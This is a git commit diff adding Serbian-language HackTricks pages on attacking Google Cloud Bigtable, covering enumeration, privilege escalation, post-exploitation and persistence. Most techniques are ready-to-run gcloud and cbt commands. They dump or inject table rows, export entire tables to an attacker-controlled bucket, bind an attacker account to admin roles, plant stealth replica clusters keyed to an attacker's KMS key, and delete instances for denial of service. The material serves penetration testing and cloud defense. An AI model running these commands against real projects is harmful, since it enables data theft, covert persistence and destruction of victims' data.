Translated ['src/pentesting-cloud/gcp-security/gcp-privilege-escalation/

This commit is contained in:
Translator
2025-11-19 14:46:33 +00:00
parent c71dc84acc
commit 59a04dc4dc
4 changed files with 496 additions and 2 deletions

View File

@@ -0,0 +1,52 @@
# GCP - Bigtable Perzistencija
{{#include ../../../banners/hacktricks-training.md}}
## Bigtable
Za više informacija o Bigtable pogledajte:
{{#ref}}
../gcp-services/gcp-bigtable-enum.md
{{#endref}}
### Posvećeni App Profile za napadača
**Dozvole:** `bigtable.appProfiles.create`, `bigtable.appProfiles.update`.
Kreirajte app profile koji usmerava saobraćaj ka vašem klasteru replika i omogućite Data Boost, tako da ne zavisite od dodeljenih čvorova koje odbrambeni tim može primetiti.
```bash
gcloud bigtable app-profiles create stealth-profile \
--instance=<instance-id> --route-any --restrict-to=<attacker-cluster> \
--row-affinity --description="internal batch"
gcloud bigtable app-profiles update stealth-profile \
--instance=<instance-id> --data-boost \
--data-boost-compute-billing-owner=HOST_PAYS
```
Sve dok taj profil postoji, možete se ponovo povezati koristeći nove kredencijale koji ga referenciraju.
### Održavajte sopstveni replika klaster
**Dozvole:** `bigtable.clusters.create`, `bigtable.instances.update`, `bigtable.clusters.list`.
Postavite klaster sa minimalnim brojem čvorova u mirnoj regiji. Čak i ako vaši identiteti klijenata nestanu, **klaster čuva punu kopiju svake tabele** dok ga odbrambeni tim eksplicitno ne ukloni.
```bash
gcloud bigtable clusters create dark-clone \
--instance=<instance-id> --zone=us-west4-b --num-nodes=1
```
Pratite ga pomoću `gcloud bigtable clusters describe dark-clone --instance=<instance-id>` kako biste mogli odmah povećati kapacitet kada treba da preuzmete podatke.
### Zaključajte replikaciju iza sopstvenog CMEK-a
**Dozvole:** `bigtable.clusters.create`, `cloudkms.cryptoKeyVersions.useToEncrypt` on the attacker-owned key.
Koristite sopstveni KMS ključ prilikom podizanja klona. Bez tog ključa, Google ne može ponovo kreirati ili fail over klaster, pa blue teams moraju da se koordiniraju s vama pre nego što ga dodirnu.
```bash
gcloud bigtable clusters create cmek-clone \
--instance=<instance-id> --zone=us-east4-b --num-nodes=1 \
--kms-key=projects/<attacker-proj>/locations/<kms-location>/keyRings/<ring>/cryptoKeys/<key>
```
Rotirajte ili onemogućite ključ u svom projektu da odmah brick-ujete repliku (a da je ipak kasnije možete ponovo uključiti).
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,250 @@
# GCP - Bigtable Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
## Bigtable
Za više informacija o Bigtable pogledajte:
{{#ref}}
../gcp-services/gcp-bigtable-enum.md
{{#endref}}
> [!TIP]
> Instalirajte `cbt` CLI jednom putem Cloud SDK-a kako bi naredbe ispod radile lokalno:
>
> ```bash
> gcloud components install cbt
> ```
### Čitanje redova
**Dozvole:** `bigtable.tables.readRows`
`cbt` dolazi uz Cloud SDK i komunicira sa admin/data APIs bez potrebe za bilo kakvim middleware-om. Usmerite ga na kompromitovani projekat/instancu i pročitajte redove direktno iz tabele. Ograničite skeniranje ako vam treba samo brz pregled.
```bash
# Install cbt
gcloud components update
gcloud components install cbt
# Read entries with creds of gcloud
cbt -project=<victim-proj> -instance=<instance-id> read <table-id>
```
### Pisanje redova
**Dozvole:** `bigtable.tables.mutateRows`, (trebaće vam `bigtable.tables.readRows` da potvrdite promenu).
Koristite isti alat za upsert proizvoljnih ćelija. Ovo je najbrži način da ubacite backdoor u konfiguracije, postavite web shells ili ubacite zatrovane redove dataseta.
```bash
# Inject a new row
cbt -project=<victim-proj> -instance=<instance-id> set <table> <row-key> <family>:<column>=<value>
cbt -project=<victim-proj> -instance=<instance-id> set <table-id> user#1337 profile:name="Mallory" profile:role="admin" secrets:api_key=@/tmp/stealme.bin
# Verify the injected row
cbt -project=<victim-proj> -instance=<instance-id> read <table-id> rows=user#1337
```
`cbt set` prihvata sirove bajtove preko sintakse `@/path`, tako da možete poslati kompajlirane payloads ili serijalizovane protobufs tačno onako kako downstream services očekuju.
### Izvezite redove u svoj bucket
**Dozvole:** `dataflow.jobs.create`, `resourcemanager.projects.get`, `iam.serviceAccounts.actAs`
Moguće je eksfiltrirati sadržaj cele tabele u bucket koji kontroliše napadač pokretanjem Dataflow job-a koji streamuje redove u GCS bucket koji vi kontrolišete.
> [!NOTE]
> Imajte na umu da će vam biti potrebna dozvola `iam.serviceAccounts.actAs` nad nekim SA koji ima dovoljno dozvola za izvođenje eksporta (po defaultu, ukoliko nije drugačije naznačeno, koristiće se podrazumevani compute SA).
```bash
gcloud dataflow jobs run <job-name> \
--gcs-location=gs://dataflow-templates-us-<REGION>/<VERSION>/Cloud_Bigtable_to_GCS_Json \
--project=<PROJECT> \
--region=<REGION> \
--parameters=<PROJECT>,bigtableInstanceId=<INSTANCE_ID>,bigtableTableId=<TABLE_ID>,filenamePrefix=<PREFIX>,outputDirectory=gs://<BUCKET>/raw-json/ \
--staging-location=gs://<BUCKET>/staging/
# Example
gcloud dataflow jobs run dump-bigtable3 \
--gcs-location=gs://dataflow-templates-us-central1/latest/Cloud_Bigtable_to_GCS_Json \
--project=gcp-labs-3uis1xlx \
--region=us-central1 \
--parameters=bigtableProjectId=gcp-labs-3uis1xlx,bigtableInstanceId=avesc-20251118172913,bigtableTableId=prod-orders,filenamePrefix=prefx,outputDirectory=gs://deleteme20u9843rhfioue/raw-json/ \
--staging-location=gs://deleteme20u9843rhfioue/staging/
```
> [!NOTE]
> Prebacite template na `Cloud_Bigtable_to_GCS_Parquet` ili `Cloud_Bigtable_to_GCS_SequenceFile` ako želite Parquet/SequenceFile izlaze umesto JSON. Dozvole su iste; menja se samo putanja template-a.
### Uvoz redova
**Dozvole:** `dataflow.jobs.create`, `resourcemanager.projects.get`, `iam.serviceAccounts.actAs`
Moguće je uvesti sadržaj cele tabele iz bucketa koji napadač kontroliše pokretanjem Dataflow job-a koji strimuje redove u GCS bucket koji vi kontrolišete. Za ovo napadač će prvo morati da kreira parquet fajl sa podacima koji treba da budu uvezeni, u očekivanoj šemi. Napadač bi mogao prvo da izveze podatke u parquet formatu prateći prethodnu tehniku sa podešavanjem `Cloud_Bigtable_to_GCS_Parquet` i doda nove unose u preuzeti parquet fajl
> [!NOTE]
> Imajte na umu da će vam trebati dozvola `iam.serviceAccounts.actAs` nad nekim SA koji ima dovoljno dozvola da izvrši izvoz (po podrazumevanju, ukoliko nije drugačije naznačeno, biće korišćen podrazumevani compute SA).
```bash
gcloud dataflow jobs run import-bt-$(date +%s) \
--region=<REGION> \
--gcs-location=gs://dataflow-templates-<REGION>/<VERSION>>/GCS_Parquet_to_Cloud_Bigtable \
--project=<PROJECT> \
--parameters=bigtableProjectId=<PROJECT>,bigtableInstanceId=<INSTANCE-ID>,bigtableTableId=<TABLE-ID>,inputFilePattern=gs://<BUCKET>/import/bigtable_import.parquet \
--staging-location=gs://<BUCKET>/staging/
# Example
gcloud dataflow jobs run import-bt-$(date +%s) \
--region=us-central1 \
--gcs-location=gs://dataflow-templates-us-central1/latest/GCS_Parquet_to_Cloud_Bigtable \
--project=gcp-labs-3uis1xlx \
--parameters=bigtableProjectId=gcp-labs-3uis1xlx,bigtableInstanceId=avesc-20251118172913,bigtableTableId=prod-orders,inputFilePattern=gs://deleteme20u9843rhfioue/import/parquet_prefx-00000-of-00001.parquet \
--staging-location=gs://deleteme20u9843rhfioue/staging/
```
### Vraćanje rezervnih kopija
**Dozvole:** `bigtable.backups.restore`, `bigtable.tables.create`.
Napadač sa ovim dozvolama može vratiti rezervnu kopiju u novu tabelu pod svojom kontrolom kako bi povratio stare osetljive podatke.
```bash
gcloud bigtable backups list --instance=<INSTANCE_ID_SOURCE> \
--cluster=<CLUSTER_ID_SOURCE>
gcloud bigtable instances tables restore \
--source=projects/<PROJECT_ID_SOURCE>/instances/<INSTANCE_ID_SOURCE>/clusters/<CLUSTER_ID>/backups/<BACKUP_ID> \
--async \
--destination=<TABLE_ID_NEW> \
--destination-instance=<INSTANCE_ID_DESTINATION> \
--project=<PROJECT_ID_DESTINATION>
```
### Vraćanje izbrisanih tabela
**Dozvole:** `bigtable.tables.undelete`
Bigtable podržava soft-deletion sa periodom milosti (obično 7 dana po defaultu). Tokom ovog perioda, napadač koji ima dozvolu `bigtable.tables.undelete` može da obnovi nedavno izbrisanu tabelu i povrati sve njene podatke, potencijalno pristupajući osetljivim informacijama za koje se verovalo da su uništene.
Ovo je posebno korisno za:
- Oporavak podataka iz tabela koje su odbrambeni timovi izbrisali tokom incident response
- Pristup istorijskim podacima koji su namerno obrisani
- Poništavanje slučajnih ili zlonamernih brisanja radi održavanja persistence
```bash
# List recently deleted tables (requires bigtable.tables.list)
gcloud bigtable instances tables list --instance=<instance-id> \
--show-deleted
# Undelete a table within the retention period
gcloud bigtable instances tables undelete <table-id> \
--instance=<instance-id>
```
> [!NOTE]
> Operacija undelete radi samo unutar konfigurisane periode zadržavanja (podrazumevano 7 dana). Nakon isteka tog roka, tabela i njeni podaci su trajno obrisani i ne mogu se povratiti ovom metodom.
### Kreirajte ovlašćene prikaze
**Dozvole:** `bigtable.authorizedViews.create`, `bigtable.tables.readRows`, `bigtable.tables.mutateRows`
Ovlašćeni prikazi vam omogućavaju da prikažete selektovan podskup tabele. Umesto da poštujete princip najmanjih privilegija, koristite ih da objavite **tačno one skupove osetljivih kolona/redova** za koje vam je stalo i da whitelist-ujete sopstveni principal.
> [!WARNING]
> Stvar je u tome da da biste kreirali ovlašćeni prikaz takođe morate moći da čitate i mutirate redove u osnovnoj tabeli, dakle ne dobijate nikakvu dodatnu dozvolu — zbog toga je ova tehnika uglavnom beskorisna.
```bash
cat <<'EOF' > /tmp/credit-cards.json
{
"subsetView": {
"rowPrefixes": ["acct#"],
"familySubsets": {
"pii": {
"qualifiers": ["cc_number", "cc_cvv"]
}
}
}
}
EOF
gcloud bigtable authorized-views create card-dump \
--instance=<instance-id> --table=<table-id> \
--definition-file=/tmp/credit-cards.json
gcloud bigtable authorized-views add-iam-policy-binding card-dump \
--instance=<instance-id> --table=<table-id> \
--member='user:<attacker@example.com>' --role='roles/bigtable.reader'
```
Pošto je pristup ograničen na Authorized View, odbrambeni timovi često previđaju činjenicu da ste upravo kreirali novu krajnju tačku visoke osetljivosti.
### Čitanje Authorized Views
**Dozvole:** `bigtable.authorizedViews.readRows`
Ako imate pristup Authorized View, možete čitati podatke iz njega koristeći Bigtable klijentske biblioteke tako što ćete u zahtevima za čitanje navesti ime Authorized View. Imajte na umu da će Authorized View verovatno ograničiti šta vam je dostupno u tabeli. U nastavku je primer koji koristi Python:
```python
from google.cloud import bigtable
from google.cloud.bigtable_v2 import BigtableClient as DataClient
from google.cloud.bigtable_v2 import ReadRowsRequest
# Set your project, instance, table, view id
PROJECT_ID = "gcp-labs-3uis1xlx"
INSTANCE_ID = "avesc-20251118172913"
TABLE_ID = "prod-orders"
AUTHORIZED_VIEW_ID = "auth_view"
client = bigtable.Client(project=PROJECT_ID, admin=True)
instance = client.instance(INSTANCE_ID)
table = instance.table(TABLE_ID)
data_client = DataClient()
authorized_view_name = f"projects/{PROJECT_ID}/instances/{INSTANCE_ID}/tables/{TABLE_ID}/authorizedViews/{AUTHORIZED_VIEW_ID}"
request = ReadRowsRequest(
authorized_view_name=authorized_view_name
)
rows = data_client.read_rows(request=request)
for response in rows:
for chunk in response.chunks:
if chunk.row_key:
row_key = chunk.row_key.decode('utf-8') if isinstance(chunk.row_key, bytes) else chunk.row_key
print(f"Row: {row_key}")
if chunk.family_name:
family = chunk.family_name.value if hasattr(chunk.family_name, 'value') else chunk.family_name
qualifier = chunk.qualifier.value.decode('utf-8') if hasattr(chunk.qualifier, 'value') else chunk.qualifier.decode('utf-8')
value = chunk.value.decode('utf-8') if isinstance(chunk.value, bytes) else str(chunk.value)
print(f" {family}:{qualifier} = {value}")
```
### Denial of Service via Delete Operations
**Dozvole:** `bigtable.appProfiles.delete`, `bigtable.authorizedViews.delete`, `bigtable.authorizedViews.deleteTagBinding`, `bigtable.backups.delete`, `bigtable.clusters.delete`, `bigtable.instances.delete`, `bigtable.tables.delete`
Bilo koja od Bigtable dozvola za brisanje može biti iskorišćena za denial of service napade. Napadač sa tim dozvolama može ometati rad brisanjem kritičnih Bigtable resursa:
- **`bigtable.appProfiles.delete`**: Brisanje aplikacionih profila, što prekida klijentske konekcije i konfiguracije rutiranja
- **`bigtable.authorizedViews.delete`**: Uklanjanje autorizovanih prikaza, čime se onemogućavaju legitimni putevi pristupa za aplikacije
- **`bigtable.authorizedViews.deleteTagBinding`**: Uklanjanje veza tagova iz autorizovanih prikaza
- **`bigtable.backups.delete`**: Uništavanje snapshot-ova rezervnih kopija, čime se uklanjaju opcije za oporavak od katastrofa
- **`bigtable.clusters.delete`**: Brisanje čitavih klastera, što dovodi do trenutne nedostupnosti podataka
- **`bigtable.instances.delete`**: Uklanjanje kompletnih Bigtable instanci, brišući sve tabele i konfiguracije
- **`bigtable.tables.delete`**: Brisanje pojedinačnih tabela, što uzrokuje gubitak podataka i padove aplikacija
```bash
# Delete a table
gcloud bigtable instances tables delete <table-id> \
--instance=<instance-id>
# Delete an authorized view
gcloud bigtable authorized-views delete <view-id> \
--instance=<instance-id> --table=<table-id>
# Delete a backup
gcloud bigtable backups delete <backup-id> \
--instance=<instance-id> --cluster=<cluster-id>
# Delete an app profile
gcloud bigtable app-profiles delete <profile-id> \
--instance=<instance-id>
# Delete a cluster
gcloud bigtable clusters delete <cluster-id> \
--instance=<instance-id>
# Delete an entire instance
gcloud bigtable instances delete <instance-id>
```
> [!WARNING]
> Operacije brisanja su često trenutne i nepovratne. Pre testiranja ovih komandi obavezno napravite rezervne kopije, jer mogu prouzrokovati trajni gubitak podataka i ozbiljne prekide u radu servisa.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,104 @@
# GCP - Bigtable Privesc
{{#include ../../../banners/hacktricks-training.md}}
## Bigtable
Za više informacija o Bigtable pogledajte:
{{#ref}}
../gcp-services/gcp-bigtable-enum.md
{{#endref}}
### `bigtable.instances.setIamPolicy`
**Dozvole:** `bigtable.instances.setIamPolicy` (i obično `bigtable.instances.getIamPolicy` da biste pročitali trenutne bindinge).
Posedovanje IAM politike instance omogućava vam da sebi dodelite **`roles/bigtable.admin`** (ili bilo koju prilagođenu ulogu) koja se primenjuje na svaki klaster, tabelu, backup i ovlašćeni prikaz u instanci.
```bash
gcloud bigtable instances add-iam-policy-binding <instance-id> \
--member='user:<attacker@example.com>' \
--role='roles/bigtable.admin'
```
> [!TIP]
> Ako ne možete da prikažete postojeće bindinge, sastavite novi policy dokument i primenite ga pomoću `gcloud bigtable instances set-iam-policy`, pod uslovom da sebi zadržite pristup.
After having this permission check in the [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) techniques for more ways to abuse Bigtable permissions.
### `bigtable.tables.setIamPolicy`
**Dozvole:** `bigtable.tables.setIamPolicy` (opciono `bigtable.tables.getIamPolicy`).
Politike instance mogu biti zaključane dok su pojedinačne tabele dodeljene drugima. Ako možete da izmenite IAM tabele, možete sebe **promovisati u vlasnika ciljnog skupa podataka** bez diranja drugih radnih opterećenja.
```bash
gcloud bigtable tables add-iam-policy-binding <table-id> \
--instance=<instance-id> \
--member='user:<attacker@example.com>' \
--role='roles/bigtable.admin'
```
Nakon što posedujete ovu dozvolu, pogledajte [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) tehnike za više načina zloupotrebe Bigtable dozvola.
### `bigtable.backups.setIamPolicy`
**Dozvole:** `bigtable.backups.setIamPolicy`
Backup može biti vraćen u **any instance in any project** koje kontrolišete. Najpre dodelite svom identitetu pristup backupu, zatim ga vratite u sandbox u kojem imate Admin/Owner uloge.
Ako imate dozvolu `bigtable.backups.setIamPolicy`, možete sebi dodeliti dozvolu `bigtable.backups.restore` da vratite stare backup-e i pokušate pristupiti osetljivim informacijama.
```bash
# Take ownership of the snapshot
gcloud bigtable backups add-iam-policy-binding <backup-id> \
--instance=<instance-id> --cluster=<cluster-id> \
--member='user:<attacker@example.com>' \
--role='roles/bigtable.admin'
```
Nakon dobijanja ove dozvole, pogledajte [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) kako da obnovite backup.
### Update authorized view
**Permissions:** `bigtable.authorizedViews.update`
Authorized Views su namenjene da cenzurišu (maskiraju) redove/kolone. Izmena ili brisanje istih uklanja fino podešene zaštitne mehanizme na koje se odbrambeni tim oslanja.
```bash
# Broaden the subset by uploading a permissive definition
gcloud bigtable authorized-views update <view-id> \
--instance=<instance-id> --table=<table-id> \
--definition-file=/tmp/permissive-view.json --ignore-warnings
# Json example not filtering any row or column
cat <<'EOF' > /tmp/permissive-view.json
{
"subsetView": {
"rowPrefixes": [""],
"familySubsets": {
"<SOME FAMILITY NAME USED IN THE CURRENT TABLE>": {
"qualifierPrefixes": [""]
}
}
}
}
EOF
# Describe the authorized view to get a family name
gcloud bigtable authorized-views describe <view-id> \
--instance=<instance-id> --table=<table-id>
```
After having this permission check in the [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) to check how to read from an authorized view.
### `bigtable.authorizedViews.setIamPolicy`
**Dozvole:** `bigtable.authorizedViews.setIamPolicy`.
Napadač sa ovom dozvolom može sebi dodeliti pristup Authorized View, koji može sadržati osetljive podatke do kojih inače ne bi imao pristup.
```bash
# Give more permissions over an existing view
gcloud bigtable authorized-views add-iam-policy-binding <view-id> \
--instance=<instance-id> --table=<table-id> \
--member='user:<attacker@example.com>' \
--role='roles/bigtable.viewer'
```
Nakon što uradite ovu proveru dozvola u [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) da biste proverili kako čitati iz autorizovanog prikaza.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -2,9 +2,70 @@
{{#include ../../../banners/hacktricks-training.md}}
## [Bigtable](https://cloud.google.com/sdk/gcloud/reference/bigtable/) <a href="#cloud-bigtable" id="cloud-bigtable"></a>
## Bigtable
Potpuno upravljana, skalabilna NoSQL baza podataka za velike analitičke i operativne radne opterećenja sa dostupnošću do 99.999%. [Learn more](https://cloud.google.com/bigtable).
Google Cloud Bigtable je u potpunosti upravljana, skalabilna NoSQL baza podataka dizajnirana za aplikacije kojima su potrebni izuzetno visoka propusnost i niska latencija. Napravljena je da rukuje ogromnim količinama podataka — petabajtima preko hiljada čvorova — istovremeno obezbeđujući brze performanse čitanja i pisanja. Bigtable je idealan za radne opterećenja kao što su time-series podaci, IoT telemetrija, finansijska analitika, mehanizmi personalizacije i operativne baze podataka velikih razmera. Koristi retku, distribuiranu, višedimenzionalnu sortiranu mapu kao osnovni model skladištenja, što ga čini efikasnim za skladištenje širokih tabela gde mnoge kolone mogu biti prazne. [Learn more](https://cloud.google.com/bigtable).
### Hijerarhija
1. **Bigtable Instance**
Bigtable instance je vrhovni (top-level) resurs koji kreirate.
Sam po sebi ne skladišti podatke — posmatrajte ga kao logički kontejner koji grupiše vaše klastere i tabele.
Postoje dve vrste instanci:
- Development instance (single-node, cheap, not for production)
- Production instance (can have multiple clusters)
2. **Clusters**
Klaster sadrži stvarne računarske i skladišne resurse koji se koriste za serviranje podataka iz Bigtable-a.
- Svaki klaster se nalazi u jednoj regiji.
- Sastoji se od čvorova, koji obezbeđuju CPU, RAM i mrežni kapacitet.
- Možete kreirati multi-cluster instance radi visoke dostupnosti ili globalnih čitanja/pisanja.
- Podaci se automatski replikuju između klastera u istoj instanci.
Važno:
- Tabele pripadaju instanci, a ne konkretnom klasteru.
- Klasteri jednostavno obezbeđuju resurse za posluživanje podataka.
3. **Tables**
Tabela u Bigtable-u je slična tabeli u NoSQL bazama podataka:
- Podaci se čuvaju u redovima, identifikovanim row key-jem.
- Svaki red sadrži column families, koje sadrže kolone.
- Struktura je retka: prazne ćelije ne zauzimaju prostor.
- Bigtable čuva podatke sortirane leksikografski po row key-ju.
Tabele su dostupne preko svih klastera u instanci.
4. **Tablets (and Hot Tablets)**
Bigtable deli svaku tabelu u horizontalne particije koje se zovu tablets. Tablet je:
- Kontiguirani opseg row key-eva.
- Smešten na jednom čvoru u datom trenutku.
- Tablets se automatski dele, spajaju i pomeraju od strane Bigtable-a.
Do pojave hot tableta dolazi kada:
- Previše čitanja ili pisanja cilja isti opseg row-key-eva (isti tablet).
- Taj konkretni tablet/čvor postane preopterećen.
- To dovodi do hotspots-a (uska grla u performansama).
5. **Authorized Views**
Authorized views omogućavaju kreiranje podskupa podataka iz tabele koji se može podeliti sa određenim korisnicima ili aplikacijama bez davanja pristupa celoj tabeli. Ovo je korisno za:
- Ograničavanje pristupa osetljivim podacima.
- Obezbeđivanje read-only pristupa specifičnim kolonama ili redovima.
6. **App Profiles**
App profile u Bigtable-u je konfiguracija koja definiše kako određena aplikacija ili klijent treba da komunicira sa Bigtable instancom, posebno u okruženjima sa više klastera. Kontroliše ponašanje rutiranja — da li zahtev treba biti usmeren ka jednom klasteru ili raspodeljen preko više klastera radi visoke dostupnosti — i upravlja kako se pisanja repliciraju, birajući između sinhronog (jača konzistentnost) ili asinhronog (niža latencija) režima.
```bash
# Cloud Bigtable
gcloud bigtable instances list
@@ -15,6 +76,11 @@ gcloud bigtable instances get-iam-policy <instance>
gcloud bigtable clusters list
gcloud bigtable clusters describe <cluster>
## Tables
gcloud bigtable tables list --instance <INSTANCE>
gcloud bigtable tables describe --instance <INSTANCE> <TABLE>
gcloud bigtable tables get-iam-policy --instance <INSTANCE> <TABLE>
## Backups
gcloud bigtable backups list --instance <INSTANCE>
gcloud bigtable backups describe --instance <INSTANCE> <backupname>
@@ -26,5 +92,27 @@ gcloud bigtable hot-tablets list
## App Profiles
gcloud bigtable app-profiles list --instance <INSTANCE>
gcloud bigtable app-profiles describe --instance <INSTANCE> <app-prof>
## Authorized Views
gcloud bigtable authorized-views list --instance <INSTANCE> --table <TABLE>
gcloud bigtable authorized-views describe --instance <INSTANCE> --table <TABLE> <VIEW>
```
## Povišenje privilegija
{{#ref}}
../gcp-privilege-escalation/gcp-bigtable-privesc.md
{{#endref}}
## Post-eksploatacija
{{#ref}}
../gcp-post-exploitation/gcp-bigtable-post-exploitation.md
{{#endref}}
## Održavanje pristupa
{{#ref}}
../gcp-persistence/gcp-bigtable-persistence.md
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}